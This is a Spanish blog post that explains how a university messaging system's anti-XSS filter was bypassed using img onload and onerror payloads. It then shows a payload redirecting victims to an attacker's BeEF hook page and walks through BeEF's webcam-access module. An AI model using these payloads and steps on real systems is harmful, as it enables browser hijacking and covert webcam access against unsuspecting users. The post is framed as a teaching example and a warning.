lunes, 19 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: 2º asalto

Compartir este artículo:

Hace unos meses escribí un post sobre una vulnerabilidad XSS que existía en el sistema de mensajería interna de la universidad en la que "estudio". Para abreviar, no se filtraba el código Javascript que contenían los mensajes con lo que alguien con ganas de hacer daño podía perpetrar peligrosos ataques.

Tiempo después dicha vulnerabilidad fue subsanada haciendo que cuando se encontrasen un par de etiquetas <script></script> éstas fuesen ignoradas evitando así la ejecución del código no deseado. Esto sería muy bonito sino hubiesen mas formas de ejecutar código en Javascript, como pueden ser las funciones asociadas a una etiqueta de imagen de HTML.Veamos un ejemplo para entender mejor esto:El usuario X recibe un mensaje de otro alumno Y, al abrirlo se encuentra esto:

entonces el usuario X se pregunta:

 ¿como es esto posible?¿no se bloqueaba el código en javascript?

Acto seguido el usuario X decide responder al mensaje para observar su contenido:

Al ver el mensaje el usuario queda asombrado ante su contenido:

<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

El código ejecuta la función alert() de javascript mostrando un mensaje por pantalla. Esto es debido al campo onload= que la acompaña. Su funcionalidad es ejecutar la función asociada cuando se cargue la imagen referenciada por el identificador src=.

Este sería un ejemplo de como evitar el filtro anti-XSS que implementa la web. En este caso el filtrado no era muy complejo, pero en muchas otras situaciones los administradores del sitio ya conocen esta "técnica ninja" de evasión y "el ataque" es mas complejo.Cuando la cosa se pone fea es cuando podemos buscar en los conocidos Cheat Sheetcomo es el que publicó mi compañero de aventuras  el señor The X-C3LL:
http://0verl0ad.blogspot.com.es/2009/02/xss-cheatsheet.html

En esta recopilación hay un ejemplo que me ha resultado muy útil en numerosas ocasiones incluida la presente:

<img src=. onerror=alert(/XSSed/)>

Este fragmento permite ejecutar un código javascript cuando se produce un error al cargar la imagen asociada, con lo que al poner el punto se ejecutará siempre.

Respecto al "nuestro ejemplo universitario" vemos que el resultado es igual al caso anterior:

El mensaje:

Si las "técnicas ninja" para evitar los XSS del post de 0verl0ad no os son suficientes, enOWASP existe una recopilación enorme lista para hacer consultar:

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator

Hasta aquí hemos visto como un atacante puede evitar un filtro anti-XSS y ejecutar unalert mostrando un mensaje por pantalla, un acto muy inocente comparado con lo que se puede llegara hacer. Para comprobar el alcance de este tipo de vulnerabilidades y evitando repetir lo del post predecesor "tontearemos" un poco con BeEF.

Esta aplicación permite "secuestrar" el navegador de los inocentes usuarios que visiten una web preparada para tal propósito siendo agregados a una oscura bootnet.Para probar este framework utilizaremos Backtrack 5 R3 que ya lo trae listo para servir :D.El primer paso es ejecutarlo, para ello vamos al directorio /pentest/web/beef:
cd /pentest/web/beef

Al lanzarlo aparecerá un campo llamado UI URL:, en el aparece una ip que al introducirla en el navegador se cargará la ventana de login de BeEF, (usuario/password: beef/beef) para despues acceder al panel de administración:

La potencia de esta aplicación es enorme y comentar sus múltiples opciones llevaría muchos post desviándonos del cometido del que nos ocupa, así que nos centraremos en un ataque que últimamente asusta mucho a la gente (que los niños y los que tienen un corazón frágil no lean la siguiente frase):

ENCENDER LA WEBCAM DE LA VÍCTIMA

Dicho así parece muy apocalíptico, aunque para conseguirlo es necesaria la interacción de la víctima, lo que conlleva al uso inevitable de ingeniería social. Puesto que esto es un ejemplo teórico y didáctico, se utilizaran las opciones por defecto que trae el framework, pero si se quisiera hacer daño, un atacante con oscuras intenciones no tendría grandes complicaciones para adaptarlo a sus necesidades.

Con BeEF en funcionamiento, utilizaremos la web que ofrecen de prueba para "infectar" a las víctimas, la dirección es algo similar a esto:
IP:3000/demos/basic.html

donde IP es la dirección IP donde se está ejecutando el framework.

Siguiendo con el ejemplo estrella del post (el XSS de los mensajes) para que una inocente víctima visite la web bastaría con un mensaje con el siguiente contenido:
 <img src=. onerror=document.location="IP:3000/demos/basic.html">

Al abrir su correspondencia automáticamente será redireccionada a la siguiente página:

para, acto seguido ser agregada a la bootnet.

Con el inocente cordero en las garras de nuestra oscura red, nos adentramos entre los menús de la aplicación hasta que llegamos a la opción de la webcam:
Browser > Hooked Domain > Webcam
En la parte de la derecha aparecerán numerosas opciones para poder "decorar" el ataque con la finalidad de "seducir" a la víctima, puesto que nosotros sabemos que la víctima aceptará dejamos todo por defecto y pulsamos en Execute con lo que en su navegador será redirigida a una página que le pedirá acceso a la Webcam (para que caiga en esta parte es importante la ingeniería socia y el decorar la página ;) ).
Al pulsar permitir, en nuestro panel administrativo recibiremos la confirmación:
Y se acabó el post :( , una entrada en la que hemos visto como evitar algunos filtros anti-XSS y lo peligrosa que pude ser una herramienta como BeEF. Dicho esto solo queda decir
 CUIDADO!!
y nos leemos en breve ;)

1 comentario:

  1. [...] la semana con el gran artículo de Aetsu Los peligros de un XSS – Un ejemplo universitario: 2º asalto, un ejemplo claro de los peligros de los Cross-Site [...]

    ResponderEliminar

Related Posts Plugin for WordPress, Blogger...